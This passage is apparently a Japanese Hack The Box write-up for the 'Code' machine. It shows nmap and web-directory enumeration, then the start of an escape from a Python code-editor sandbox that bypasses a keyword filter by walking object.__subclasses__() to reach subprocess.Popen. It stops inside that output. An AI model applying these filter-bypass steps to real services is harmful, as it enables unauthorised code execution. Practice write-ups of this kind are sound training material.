本記事の概要
Hack The BoxのLinuxサーバの難易度Easyのマシンである「Code」に対する攻撃手法を記載します。
本記事では、以下の手順を記載します。
(1) ポートスキャン及びアクセス
(2) Webアクセスできるファイル/ディレクトリ調査
(3) Webサイトの動作確認
(4) リバースシェルによるシェル奪取
(5) データベースの調査
(6) John the Ripperを用いてハッシュ値解析
(7) martinユーザーでSSHログイン
(8) 特権昇格(sudo設定の脆弱性)
※画面や記載している手順は記事を作成した時点のものですので、画面などが変わっている可能性があります。
ポートスキャン及びアクセス
(1) nmapコマンドを実行して、応答があるTCPのポート番号を確認する。SSH(22/tcp) やHTTP(5000/tcp)のポートが応答がある。
$ nmap -sS -sC -sV -A -p- -Pn --min-rate 5000 10.10.11.62
Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-19 15:41 JST
Nmap scan report for 10.10.11.62
Host is up (0.33s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 b5:b9:7c:c4:50:32:95:bc:c2:65:17:df:51:a2:7a:bd (RSA)
| 256 94:b5:25:54:9b:68:af:be:40:e1:1d:a8:6b:85:0d:01 (ECDSA)
|_ 256 12:8c:dc:97:ad:86:00:b4:88:e2:29:cf:69:b5:65:96 (ED25519)
5000/tcp open http Gunicorn 20.0.4
|_http-server-header: gunicorn/20.0.4
|_http-title: Python Code Editor
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 23/tcp)
HOP RTT ADDRESS
1 209.72 ms 10.10.16.1
2 416.14 ms 10.10.11.62
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 42.37 seconds
(2) nmapコマンドを実行して、応答があるUDPのポート番号を確認する。しかし、応答があるポートがない。
$ nmap -sU --min-rate 10000 10.10.11.62
Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-19 16:35 JST
Nmap scan report for 10.10.11.62
Host is up (0.25s latency).
Not shown: 997 open|filtered udp ports (no-response)
PORT STATE SERVICE
902/udp closed ideafarm-door
1053/udp closed remote-as
19707/udp closed unknown
(3) ブラウザを用いて「http://10.10.11.62:5000」にアクセスすると、Webページが表示される。
Webアクセスできるファイル/ディレクトリ調査
(1) feroxbusterを用いてアクセスできるURLを確認するが、特に気になる結果はない。
$ feroxbuster -u http://10.10.11.62:5000 -d 2 -C 400,403,404,405,500
ーーー(省略)ーーー
302 GET 5l 22w 189c http://10.10.11.62:5000/logout => http://10.10.11.62:5000/
200 GET 24l 53w 741c http://10.10.11.62:5000/register
200 GET 192l 382w 3529c http://10.10.11.62:5000/static/css/styles.css
200 GET 24l 53w 730c http://10.10.11.62:5000/login
200 GET 100l 234w 3435c http://10.10.11.62:5000/
200 GET 22l 96w 818c http://10.10.11.62:5000/about
302 GET 5l 22w 199c http://10.10.11.62:5000/codes => http://10.10.11.62:5000/login
ーーー(省略)ーーー
(2) GoBusterを用いてアクセスできるURLを確認するが、特に気になる結果はない。
$ gobuster dir -u http://10.10.11.62:5000/ -w /usr/share/seclists/Discovery/Web-Content/big.txt -t 100 -o Code_80.txt
ーーー(省略)ーーー
/about (Status: 200) [Size: 818]
/codes (Status: 302) [Size: 199] [--> /login]
/login (Status: 200) [Size: 730]
/logout (Status: 302) [Size: 189] [--> /]
/register (Status: 200) [Size: 741]
ーーー(省略)ーーー
(3) dirsearchを用いてアクセスできるURLを確認するが、特に気になる結果はない。
$ sudo dirsearch -u http://10.10.11.62:5000/
ーーー(省略)ーーー
[21:07:15] 200 - 818B - /about
[21:08:55] 200 - 730B - /login
[21:08:56] 302 - 189B - /logout -> /
[21:09:30] 200 - 741B - /register
ーーー(省略)ーーー
(4) ffufを用いてアクセスできるURLを確認するが、特に気になる結果はない。
$ ffuf -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt:FUZZ -u "http://10.10.11.62:5000/FUZZ" -ic
ーーー(省略)ーーー
about [Status: 200, Size: 818, Words: 143, Lines: 23, Duration: 799ms]
login [Status: 200, Size: 730, Words: 103, Lines: 24, Duration: 617ms]
register [Status: 200, Size: 741, Words: 103, Lines: 24, Duration: 198ms]
logout [Status: 302, Size: 189, Words: 18, Lines: 6, Duration: 202ms]
codes [Status: 302, Size: 199, Words: 18, Lines: 6, Duration: 608ms]
[Status: 200, Size: 3435, Words: 804, Lines: 100, Duration: 209ms]
ーーー(省略)ーーー

Webサイトの動作確認
(1) ブラウザを用いて「http://10.10.11.62:5000」にアクセスして、右上部の「Register」をクリックする。
(2) 任意のユーザー名とパスワードを入力して、「Register」をクリックする。
(3) 登録したユーザー名とパスワードを入力して、「Login」をクリックする。
(4) 左上部の「Run」をクリックする。
(5) Pythonのプログラムの実行結果が左部に表示される。
リバースシェルによるシェル奪取
(1) 実行するリバースシェルのプログラムを調べるために、「https://www.revshells.com/」にアクセスして、Pythonのプログラムを調べる。
(2) Pythonのリバースシェルのプログラムを入力して、「Run」をクリックすると、使用できないキーワードがある旨のメッセージがあり実行できない。
いくつかのプログラムを試したところ「import」、「os」、「eval()」、「exec()」、「open()」という文字が入っていた場合、実行できない仕様になっている。
(3) Pythonのモジュールを直接インポートできないため、メモリに既にロードされているものを確認する。まずは利用可能なすべてのグローバル変数を確認する。
【実行コマンド】
print(globals().keys())
【出力内容】
dict_keys(['__name__', '__doc__', '__package__', '__loader__', '__spec__', '__file__', '__cached__', '__builtins__', 'Flask', 'render_template', 'render_template_string', 'request', 'jsonify', 'redirect', 'url_for', 'session', 'flash', 'SQLAlchemy', 'sys', 'io', 'os', 'hashlib', 'app', 'db', 'User', 'Code', 'index', 'register', 'login', 'logout', 'run_code', 'load_code', 'save_code', 'codes', 'about']) 
(4) ロードされているPythonのモジュールを確認する。たくさんの属性とメソッドがあるが、osなど使いたいモジュールはフィルタされているため、使用できない。
【実行コマンド】
print(sys.modules.keys())
【出力内容】
dict_keys(['sys', 'builtins', '_frozen_importlib', '_imp', '_warnings', '_io', 'marshal', 'posix', '_frozen_importlib_external', '_thread', '_weakref', 'time', 'zipimport', '_codecs', 'codecs', 'encodings.aliases', 'encodings', 'encodings.utf_8', '_signal', '__main__', 'encodings.latin_1', '_abc', 'abc', 'io', '_stat', 'stat', '_collections_abc', 'genericpath', 'posixpath', 'os.path', 'os', '_sitebuiltins', '_locale', '_bootlocale', 'types', 'importlib._bootstrap', 'importlib._bootstrap_external', 'warnings', 'importlib', 'importlib.machinery', 'importlib.abc', '_operator', 'operator', 'keyword', '_heapq', 'heapq', 'itertools', 'reprlib', '_collections', 'collections', '_functools', 'functools', 'contextlib', 'importlib.util', 'zope', 'apport_python_hook', 'sitecustomize', 'site', 'enum', '_sre', 'sre_constants', 'sre_parse', 'sre_compile', 'copyreg', 're', '__future__', 'binascii', 'fnmatch', 'errno', 'zlib', '_compression', '_weakrefset', 'threading', '_bz2', 'bz2', '_lzma', 'lzma', 'pwd', 'grp', 'shutil', '_struct', 'struct', 'zipfile', 'weakref', 'pkgutil', 'platform', 'math', '_datetime', 'datetime', 'xml', 'xml.parsers', 'pyexpat.errors', 'pyexpat.model', 'pyexpat', 'xml.parsers.expat.model', 'xml.parsers.expat.errors', 'xml.parsers.expat', 'plistlib', 'email', 'email.errors', '_string', 'string', 'email.quoprimime', 'base64', 'email.base64mime', 'quopri', 'email.encoders', 'email.charset', 'email.header', '_bisect', 'bisect', '_sha512', '_random', 'random', '_socket', 'collections.abc', 'select', 'selectors', 'socket', 'urllib', 'ipaddress', 'urllib.parse', 'locale', 'calendar', 'email._parseaddr', 'email.utils', 'email._policybase', 'email.feedparser', 'email.parser', 'tempfile', 'textwrap', '_opcode', 'opcode', 'dis', 'token', 'tokenize', 'linecache', 'inspect', 'ntpath', 'pkg_resources.extern', 'pkg_resources._vendor', 'pkg_resources.extern.six', 'pkg_resources._vendor.six', 'pkg_resources.extern.six.moves', 'pkg_resources._vendor.six.moves', 'pkg_resources.py31compat', 'pkg_resources.extern.appdirs', 'pkg_resources._vendor.packaging.__about__', 'pkg_resources.extern.packaging', 'pkg_resources.extern.packaging._structures', 'pkg_resources.extern.packaging.version', 'pkg_resources.extern.packaging._compat', 'pkg_resources.extern.packaging.specifiers', 'copy', 'pprint', 'traceback', 'pkg_resources.extern.pyparsing', 'pkg_resources.extern.six.moves.urllib', 'pkg_resources.extern.packaging.markers', 'pkg_resources.extern.packaging.requirements', 'pkg_resources.py2_warn', 'sysconfig', 'pkg_resources', 'gunicorn', 'gunicorn.app', 'gunicorn.errors', '_ast', 'ast', '_ctypes', 'ctypes._endian', 'ctypes', 'signal', '_posixsubprocess', 'subprocess', 'ctypes.util', 'fcntl', 'html.entities', 'html', 'atexit', 'logging', 'gunicorn.workers', 'gunicorn.util', 'gunicorn.pidfile', 'gunicorn.sock', 'gunicorn.systemd', 'gunicorn.arbiter', 'gettext', 'argparse', 'shlex', '_ssl', 'ssl', 'gunicorn.reloader', 'gunicorn.config', 'gunicorn.debug', 'gunicorn.app.base', 'gunicorn.app.wsgiapp', '_compat_pickle', '_pickle', 'pickle', '_queue', 'queue', 'logging.handlers', 'socketserver', 'logging.config', 'gunicorn.glogging', 'gunicorn.http.unreader', 'gunicorn.http.errors', 'gunicorn.http.body', 'gunicorn.http.message', 'gunicorn.http.parser', 'gunicorn.http', 'gunicorn.http.wsgi', 'gunicorn.workers.workertmp', 'gunicorn.workers.base', 'gunicorn.workers.sync', 'typing.io', 'typing.re', 'typing', '_json', 'json.scanner', 'json.decoder', 'json.encoder', 'json', '_contextvars', 'contextvars', 'http', 'uu', 'email._encoded_words', 'email.iterators', 'email.message', 'http.client', 'mimetypes', 'http.server', 'werkzeug._internal', 'markupsafe._speedups', 'markupsafe', 'werkzeug.exceptions', 'werkzeug.datastructures.mixins', '_hashlib', '_blake2', '_sha3', 'hashlib', 'urllib.response', 'urllib.error', 'urllib.request', 'werkzeug.sansio', 'werkzeug.sansio.http', 'werkzeug.http', 'werkzeug.datastructures.structures', 'werkzeug.datastructures.accept', 'werkzeug.datastructures.auth', 'werkzeug.datastructures.cache_control', 'werkzeug.datastructures.csp', 'werkzeug.datastructures.etag', 'werkzeug.datastructures.file_storage', 'werkzeug.datastructures.headers', 'werkzeug.datastructures.range', 'werkzeug.datastructures', 'werkzeug.urls', 'werkzeug.serving', 'dataclasses', 'werkzeug.sansio.multipart', 'unicodedata', 'hmac', 'secrets', 'werkzeug.security', 'werkzeug.sansio.utils', 'werkzeug.wsgi', 'werkzeug.utils', 'werkzeug.formparser', 'werkzeug.user_agent', 'werkzeug.sansio.request', 'werkzeug.wrappers.request', 'werkzeug.sansio.response', 'werkzeug.wrappers.response', 'werkzeug.wrappers', 'werkzeug.test', 'werkzeug', 'werkzeug.local', 'flask.globals', 'numbers', '_decimal', 'decimal', '_uuid', 'uuid', 'flask.json.provider', 'flask.json', 'click._compat', 'click.globals', 'click.utils', 'click.exceptions', 'click.types', 'click.parser', 'click.formatting', 'click.termui', 'click.core', 'click.decorators', 'click', 'werkzeug.routing.converters', 'difflib', 'werkzeug.routing.exceptions', 'werkzeug.routing.rules', 'werkzeug.routing.matcher', 'werkzeug.routing.map', 'werkzeug.routing', '_csv', 'csv', 'pathlib', 'configparser', 'importlib.metadata', 'blinker._utilities', 'blinker.base', 'blinker', 'flask.signals', 'flask.helpers', 'flask.cli', 'flask.typing', 'flask.ctx', 'flask.sansio', 'flask.config', 'flask.logging', 'jinja2.bccache', 'jinja2.utils', 'jinja2.nodes', 'jinja2.exceptions', 'jinja2.visitor', 'jinja2.idtracking', 'jinja2.optimizer', 'jinja2.compiler', 'jinja2.async_utils', 'jinja2.runtime', 'jinja2.filters', 'jinja2.tests', 'jinja2.defaults', 'jinja2._identifier', 'jinja2.lexer', 'jinja2.parser', 'jinja2.environment', 'jinja2.loaders', 'jinja2', 'flask.templating', 'flask.sansio.scaffold', 'flask.sansio.app', 'itsdangerous.exc', 'itsdangerous.encoding', 'itsdangerous.signer', 'itsdangerous.serializer', 'itsdangerous.timed', 'itsdangerous._json', 'itsdangerous.url_safe', 'itsdangerous', 'flask.json.tag', 'flask.sessions', 'flask.wrappers', 'flask.app', 'flask.sansio.blueprints', 'flask.blueprints', 'flask', 'sqlalchemy.util.preloaded', 'sqlalchemy.cyextension', 'cython_runtime', '_cython_3_0_10', 'gc', 'sqlalchemy.cyextension.collections', 'sqlalchemy.cyextension.immutabledict', 'sqlalchemy.cyextension.processors', 'sqlalchemy.cyextension.resultproxy', 'sqlalchemy.util.compat', 'sqlalchemy.exc', 'sqlalchemy.cyextension.util', 'sqlalchemy.util._has_cy', 'typing_extensions', 'sqlalchemy.util.typing', 'sqlalchemy.util._collections', 'concurrent', 'concurrent.futures._base', 'concurrent.futures', 'asyncio.constants', 'asyncio.format_helpers', 'asyncio.base_futures', 'asyncio.log', 'asyncio.coroutines', 'asyncio.exceptions', 'asyncio.base_tasks', '_asyncio', 'asyncio.events', 'asyncio.futures', 'asyncio.protocols', 'asyncio.transports', 'asyncio.sslproto', 'asyncio.locks', 'asyncio.tasks', 'asyncio.staggered', 'asyncio.trsock', 'asyncio.base_events', 'asyncio.runners', 'asyncio.queues', 'asyncio.streams', 'asyncio.subprocess', 'asyncio.base_subprocess', 'asyncio.selector_events', 'asyncio.unix_events', 'asyncio', 'greenlet._greenlet', 'greenlet', 'sqlalchemy.util.langhelpers', 'sqlalchemy.util._concurrency_py3k', 'sqlalchemy.util.concurrency', 'sqlalchemy.util.deprecations', 'sqlalchemy.util', 'sqlalchemy.event.registry', 'sqlalchemy.event.legacy', 'sqlalchemy.event.attr', 'sqlalchemy.event.base', 'sqlalchemy.event.api', 'sqlalchemy.event', 'sqlalchemy.log', 'sqlalchemy.pool.base', 'sqlalchemy.pool.events', 'sqlalchemy.util.queue', 'sqlalchemy.pool.impl', 'sqlalchemy.pool', 'sqlalchemy.sql.roles', 'sqlalchemy.inspection', 'sqlalchemy.sql._typing', 'sqlalchemy.sql.visitors', 'sqlalchemy.sql.cache_key', 'sqlalchemy.sql.operators', 'sqlalchemy.sql.traversals', 'sqlalchemy.sql.base', 'sqlalchemy.sql.coercions', 'sqlalchemy.sql.annotation', 'sqlalchemy.sql.type_api', 'sqlalchemy.sql.elements', 'sqlalchemy.util.topological', 'sqlalchemy.sql.ddl', 'sqlalchemy.engine._py_processors', 'sqlalchemy.engine.processors', 'sqlalchemy.sql.sqltypes', 'sqlalchemy.sql.selectable', 'sqlalchemy.sql.schema', 'sqlalchemy.sql.util', 'sqlalchemy.sql.dml', 'sqlalchemy.sql.crud', 'sqlalchemy.sql.functions', 'sqlalchemy.sql.compiler', 'sqlalchemy.sql._dml_constructors', 'sqlalchemy.sql._elements_constructors', 'sqlalchemy.sql._selectable_constructors', 'sqlalchemy.sql.lambdas', 'sqlalchemy.sql.expression', 'sqlalchemy.sql.default_comparator', 'sqlalchemy.sql.events', 'sqlalchemy.sql.naming', 'sqlalchemy.sql', 'sqlalchemy.engine.interfaces', 'sqlalchemy.engine.util', 'sqlalchemy.engine.base', 'sqlalchemy.engine.events', 'sqlalchemy.dialects', 'sqlalchemy.engine.url', 'sqlalchemy.engine.mock', 'sqlalchemy.engine.create', 'sqlalchemy.engine.row', 'sqlalchemy.engine.result', 'sqlalchemy.engine.cursor', 'sqlalchemy.engine.reflection', 'sqlalchemy.engine', 'sqlalchemy.schema', 'sqlalchemy.types', 'sqlalchemy.engine.characteristics', 'sqlalchemy.engine.default', 'sqlalchemy', 'sqlalchemy.sql._orm_types', 'sqlalchemy.orm._typing', 'sqlalchemy.orm.base', 'sqlalchemy.orm.mapped_collection', 'sqlalchemy.orm.collections', 'sqlalchemy.orm.path_registry', 'sqlalchemy.orm.interfaces', 'sqlalchemy.orm.attributes', 'sqlalchemy.orm.util', 'sqlalchemy.orm.exc', 'sqlalchemy.orm.state', 'sqlalchemy.orm.instrumentation', 'sqlalchemy.future.engine', 'sqlalchemy.future', 'sqlalchemy.orm.context', 'sqlalchemy.orm.loading', 'sqlalchemy.orm.strategy_options', 'sqlalchemy.orm.descriptor_props', 'sqlalchemy.orm.relationships', 'sqlalchemy.orm.properties', 'sqlalchemy.orm.mapper', 'sqlalchemy.orm.query', 'sqlalchemy.orm.evaluator', 'sqlalchemy.orm.sync', 'sqlalchemy.orm.persistence', 'sqlalchemy.orm.bulk_persistence', 'sqlalchemy.orm.identity', 'sqlalchemy.orm.state_changes', 'sqlalchemy.orm.unitofwork', 'sqlalchemy.orm.session', 'sqlalchemy.orm._orm_constructors', 'sqlalchemy.orm.clsregistry', 'sqlalchemy.orm.decl_base', 'sqlalchemy.orm.decl_api', 'sqlalchemy.orm.strategies', 'sqlalchemy.orm.writeonly', 'sqlalchemy.orm.dynamic', 'sqlalchemy.orm.scoping', 'sqlalchemy.orm.events', 'sqlalchemy.orm.dependency', 'sqlalchemy.orm', 'flask_sqlalchemy.pagination', 'flask_sqlalchemy.query', 'flask_sqlalchemy.model', 'flask_sqlalchemy.session', 'flask_sqlalchemy.table', 'flask_sqlalchemy.extension', 'flask_sqlalchemy', 'flask_sqlalchemy.cli', 'sqlalchemy.dialects.sqlite.json', 'sqlalchemy.dialects.sqlite.base', 'sqlalchemy.dialects.sqlite.pysqlite', 'sqlalchemy.dialects.sqlite.aiosqlite', 'sqlalchemy.dialects.sqlite.pysqlcipher', 'sqlalchemy.dialects._typing', 'sqlalchemy.dialects.sqlite.dml', 'sqlalchemy.dialects.sqlite', '_sqlite3', 'sqlite3.dbapi2', 'sqlite3', 'app', 'stringprep', 'encodings.idna'])

(5) __class__属性の型を確認するために、コマンドを入力して「Run」をクリックする。出力結果を確認すると、intがtypeのインスタンスであることが分かった。
【実行コマンド】
print(int.__class__)
【出力内容】
<class 'type'> 
(6) __base__の型を確認するために、コマンドを入力して「Run」をクリックする。出力結果を確認すると、typeがobjectから継承されていることが分かる。
【実行コマンド】
print(int.__class__.__base__)
【出力内容】
<class 'object'>
(7) object.__subclasses__() を確認するために、コマンドを入力して「Run」をクリックする。出力結果を確認すると、objectのすべてのサブクラスを一覧表示することができたためアクセスできることが分かる。また、サブクラスでsubprocess.Popenが検索された。
※subprocess.Popen(Process Openの略)は、Pythonのsubprocessモジュールに含まれるクラスで、システムプロセスを起動したり、システムプロセスとやり取りしたりすることができるもの。
【実行コマンド】
print(object.__subclasses__())
【出力内容】
[<class 'type'>, <class 'weakref'>, <class 'weakcallableproxy'>, <class 'weakproxy'>, <class 'int'>, <class 'bytearray'>, <class 'bytes'>, <class 'list'>, <class 'NoneType'>, <class 'NotImplementedType'>, <class 'traceback'>, <class 'super'>, <class 'range'>, <class 'dict'>, <class 'dict_keys'>, <class 'dict_values'>, <class 'dict_items'>, <class 'dict_reversekeyiterator'>, <class 'dict_reversevalueiterator'>, <class 'dict_reverseitemiterator'>, <class 'odict_iterator'>, <class 'set'>, <class 'str'>, <class 'slice'>, <class 'staticmethod'>, <class 'complex'>, <class 'float'>, <class 'frozenset'>, <class 'property'>, <class 'managedbuffer'>, <class 'memoryview'>, <class 'tuple'>, <class 'enumerate'>, <class 'reversed'>, <class 'stderrprinter'>, <class 'code'>, <class 'frame'>, <class 'builtin_function_or_method'>, <class 'method'>, <class 'function'>, <class 'mappingproxy'>, <class 'generator'>, <class 'getset_descriptor'>, <class 'wrapper_descriptor'>, <class 'method-wrapper'>, <class 'ellipsis'>, <class 'member_descriptor'>, <class 'types.SimpleNamespace'>, <class 'PyCapsule'>, <class 'longrange_iterator'>, <class 'cell'>, <class 'instancemethod'>, <class 'classmethod_descriptor'>, <class 'method_descriptor'>, <class 'callable_iterator'>, <class 'iterator'>, <class 'pickle.PickleBuffer'>, <class 'coroutine'>, <class 'coroutine_wrapper'>, <class 'InterpreterID'>, <class 'EncodingMap'>, <class 'fieldnameiterator'>, <class 'formatteriterator'>, <class 'BaseException'>, <class 'hamt'>, <class 'hamt_array_node'>, <class 'hamt_bitmap_node'>, <class 'hamt_collision_node'>, <class 'keys'>, <class 'values'>, <class 'items'>, <class 'Context'>, <class 'ContextVar'>, <class 'Token'>, <class 'Token.MISSING'>, <class 'moduledef'>, <class 'module'>, <class 'filter'>, <class 'map'>, <class 'zip'>, <class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib.BuiltinImporter'>, <class 'classmethod'>, <class '_frozen_importlib.FrozenImporter'>, <class '_frozen_importlib._ImportLockContext'>, <class '_thread._localdummy'>, <class '_thread._local'>, <class '_thread.lock'>, <class '_thread.RLock'>, <class '_io._IOBase'>, <class '_io._BytesIOBuffer'>, <class '_io.IncrementalNewlineDecoder'>, <class 'posix.ScandirIterator'>, <class 'posix.DirEntry'>, <class '_frozen_importlib_external.WindowsRegistryFinder'>, <class '_frozen_importlib_external._LoaderBasics'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.PathFinder'>, <class '_frozen_importlib_external.FileFinder'>, <class 'zipimport.zipimporter'>, <class 'zipimport._ZipImportResourceReader'>, <class 'codecs.Codec'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class '_abc_data'>, <class 'abc.ABC'>, <class 'dict_itemiterator'>, <class 'collections.abc.Hashable'>, <class 'collections.abc.Awaitable'>, <class 'collections.abc.AsyncIterable'>, <class 'async_generator'>, <class 'collections.abc.Iterable'>, <class 'bytes_iterator'>, <class 'bytearray_iterator'>, <class 'dict_keyiterator'>, <class 'dict_valueiterator'>, <class 'list_iterator'>, <class 'list_reverseiterator'>, <class 'range_iterator'>, <class 'set_iterator'>, <class 'str_iterator'>, <class 'tuple_iterator'>, <class 'collections.abc.Sized'>, <class 'collections.abc.Container'>, <class 'collections.abc.Callable'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class '_sitebuiltins._Helper'>, <class 'types.DynamicClassAttribute'>, <class 'types._GeneratorWrapper'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class 'importlib.abc.Finder'>, <class 'importlib.abc.Loader'>, <class 'importlib.abc.ResourceReader'>, <class 'operator.itemgetter'>, <class 'operator.attrgetter'>, <class 'operator.methodcaller'>, <class 'itertools.accumulate'>, <class 'itertools.combinations'>, <class 'itertools.combinations_with_replacement'>, <class 'itertools.cycle'>, <class 'itertools.dropwhile'>, <class 'itertools.takewhile'>, <class 'itertools.islice'>, <class 'itertools.starmap'>, <class 'itertools.chain'>, <class 'itertools.compress'>, <class 'itertools.filterfalse'>, <class 'itertools.count'>, <class 'itertools.zip_longest'>, <class 'itertools.permutations'>, <class 'itertools.product'>, <class 'itertools.repeat'>, <class 'itertools.groupby'>, <class 'itertools._grouper'>, <class 'itertools._tee'>, <class 'itertools._tee_dataobject'>, <class 'reprlib.Repr'>, <class 'collections.deque'>, <class '_collections._deque_iterator'>, <class '_collections._deque_reverse_iterator'>, <class '_collections._tuplegetter'>, <class 'collections._Link'>, <class 'functools.partial'>, <class 'functools._lru_cache_wrapper'>, <class 'functools.partialmethod'>, <class 'functools.singledispatchmethod'>, <class 'functools.cached_property'>, <class 'contextlib.ContextDecorator'>, <class 'contextlib._GeneratorContextManagerBase'>, <class 'contextlib._BaseExitStack'>, <class 'enum.auto'>, <enum 'Enum'>, <class 're.Pattern'>, <class 're.Match'>, <class '_sre.SRE_Scanner'>, <class 'sre_parse.State'>, <class 'sre_parse.SubPattern'>, <class 'sre_parse.Tokenizer'>, <class 're.Scanner'>, <class '__future__._Feature'>, <class 'zlib.Compress'>, <class 'zlib.Decompress'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class 'threading._RLock'>, <class 'threading.Condition'>, <class 'threading.Semaphore'>, <class 'threading.Event'>, <class 'threading.Barrier'>, <class 'threading.Thread'>, <class '_bz2.BZ2Compressor'>, <class '_bz2.BZ2Decompressor'>, <class '_lzma.LZMACompressor'>, <class '_lzma.LZMADecompressor'>, <class 'Struct'>, <class 'unpack_iterator'>, <class 'zipfile.ZipInfo'>, <class 'zipfile.LZMACompressor'>, <class 'zipfile.LZMADecompressor'>, <class 'zipfile._SharedFile'>, <class 'zipfile._Tellable'>, <class 'zipfile.ZipFile'>, <class 'zipfile.Path'>, <class 'weakref.finalize._Info'>, <class 'weakref.finalize'>, <class 'pkgutil.ImpImporter'>, <class 'pkgutil.ImpLoader'>, <class 'datetime.date'>, <class 'datetime.timedelta'>, <class 'datetime.time'>, <class 'datetime.tzinfo'>, <class 'pyexpat.xmlparser'>, <class 'plistlib.Data'>, <class 'plistlib.UID'>, <class 'plistlib._PlistParser'>, <class 'plistlib._DumbXMLWriter'>, <class 'plistlib._BinaryPlistParser'>, <class 'plistlib._BinaryPlistWriter'>, <class 'string.Template'>, <class 'string.Formatter'>, <class 'email.charset.Charset'>, <class 'email.header.Header'>, <class 'email.header._ValueFormatter'>, <class '_sha512.sha384'>, <class '_sha512.sha512'>, <class '_random.Random'>, <class 'select.poll'>, <class 'select.epoll'>, <class 'selectors.BaseSelector'>, <class '_socket.socket'>, <class 'ipaddress._IPAddressBase'>, <class 'ipaddress._BaseV4'>, <class 'ipaddress._IPv4Constants'>, <class 'ipaddress._BaseV6'>, <class 'ipaddress._IPv6Constants'>, <class 'urllib.parse._ResultMixinStr'>, <class 'urllib.parse._ResultMixinBytes'>, <class 'urllib.parse._NetlocResultMixinBase'>, <class 'calendar._localized_month'>, <class 'calendar._localized_day'>, <class 'calendar.Calendar'>, <class 'calendar.different_locale'>, <class 'email._parseaddr.AddrlistClass'>, <class 'email._policybase._PolicyBase'>, <class 'email.feedparser.BufferedSubFile'>, <class 'email.feedparser.FeedParser'>, <class 'email.parser.Parser'>, <class 'email.parser.BytesParser'>, <class 'tempfile._RandomNameSequence'>, <class 'tempfile._TemporaryFileCloser'>, <class 'tempfile._TemporaryFileWrapper'>, <class 'tempfile.SpooledTemporaryFile'>, <class 'tempfile.TemporaryDirectory'>, <class 'textwrap.TextWrapper'>, <class 'dis.Bytecode'>, <class 'tokenize.Untokenizer'>, <class 'inspect.BlockFinder'>, <class 'inspect._void'>, <class 'inspect._empty'>, <class 'inspect.Parameter'>, <class 'inspect.BoundArguments'>, <class 'inspect.Signature'>, <class 'pkg_resources.extern.VendorImporter'>, <class 'pkg_resources._vendor.six._LazyDescr'>, <class 'pkg_resources._vendor.six._SixMetaPathImporter'>, <class 'pkg_resources._vendor.six._LazyDescr'>, <class 'pkg_resources._vendor.six._SixMetaPathImporter'>, <class 'pkg_resources._vendor.appdirs.AppDirs'>, <class 'pkg_resources.extern.packaging._structures.Infinity'>, <class 'pkg_resources.extern.packaging._structures.NegativeInfinity'>, <class 'pkg_resources.extern.packaging.version._BaseVersion'>, <class 'pkg_resources.extern.packaging.specifiers.BaseSpecifier'>, <class 'pprint._safe_key'>, <class 'pprint.PrettyPrinter'>, <class 'traceback.FrameSummary'>, <class 'traceback.TracebackException'>, <class 'pkg_resources._vendor.pyparsing._Constants'>, <class 'pkg_resources._vendor.pyparsing._ParseResultsWithOffset'>, <class 'pkg_resources._vendor.pyparsing.ParseResults'>, <class 'pkg_resources._vendor.pyparsing.ParserElement._UnboundedCache'>, <class 'pkg_resources._vendor.pyparsing.ParserElement._FifoCache'>, <class 'pkg_resources._vendor.pyparsing.ParserElement'>, <class 'pkg_resources._vendor.pyparsing._NullToken'>, <class 'pkg_resources._vendor.pyparsing.OnlyOnce'>, <class 'pkg_resources._vendor.pyparsing.pyparsing_common'>, <class 'pkg_resources.extern.packaging.markers.Node'>, <class 'pkg_resources.extern.packaging.markers.Marker'>, <class 'pkg_resources.extern.packaging.requirements.Requirement'>, <class 'pkg_resources.IMetadataProvider'>, <class 'pkg_resources.WorkingSet'>, <class 'pkg_resources.Environment'>, <class 'pkg_resources.ResourceManager'>, <class 'pkg_resources.NullProvider'>, <class 'pkg_resources.NoDists'>, <class 'pkg_resources.EntryPoint'>, <class 'pkg_resources.Distribution'>, <class '_ast.AST'>, <class 'ast.NodeVisitor'>, <class 'CArgObject'>, <class '_ctypes.CThunkObject'>, <class '_ctypes._CData'>, <class '_ctypes.CField'>, <class '_ctypes.DictRemover'>, <class '_ctypes.StructParam_Type'>, <class 'ctypes.CDLL'>, <class 'ctypes.LibraryLoader'>, <class 'subprocess.CompletedProcess'>, <class 'subprocess.Popen'>, <class 'logging.LogRecord'>, <class 'logging.PercentStyle'>, <class 'logging.Formatter'>, <class 'logging.BufferingFormatter'>, <class 'logging.Filter'>, <class 'logging.Filterer'>, <class 'logging.PlaceHolder'>, <class 'logging.Manager'>, <class 'logging.LoggerAdapter'>, <class 'gunicorn.pidfile.Pidfile'>, <class 'gunicorn.sock.BaseSocket'>, <class 'gunicorn.arbiter.Arbiter'>, <class 'gettext.NullTranslations'>, <class 'argparse._AttributeHolder'>, <class 'argparse.HelpFormatter._Section'>, <class 'argparse.HelpFormatter'>, <class 'argparse.FileType'>, <class 'argparse._ActionsContainer'>, <class 'shlex.shlex'>, <class '_ssl._SSLContext'>, <class '_ssl._SSLSocket'>, <class '_ssl.MemoryBIO'>, <class '_ssl.Session'>, <class 'ssl.SSLObject'>, <class 'gunicorn.reloader.InotifyReloader'>, <class 'gunicorn.config.Config'>, 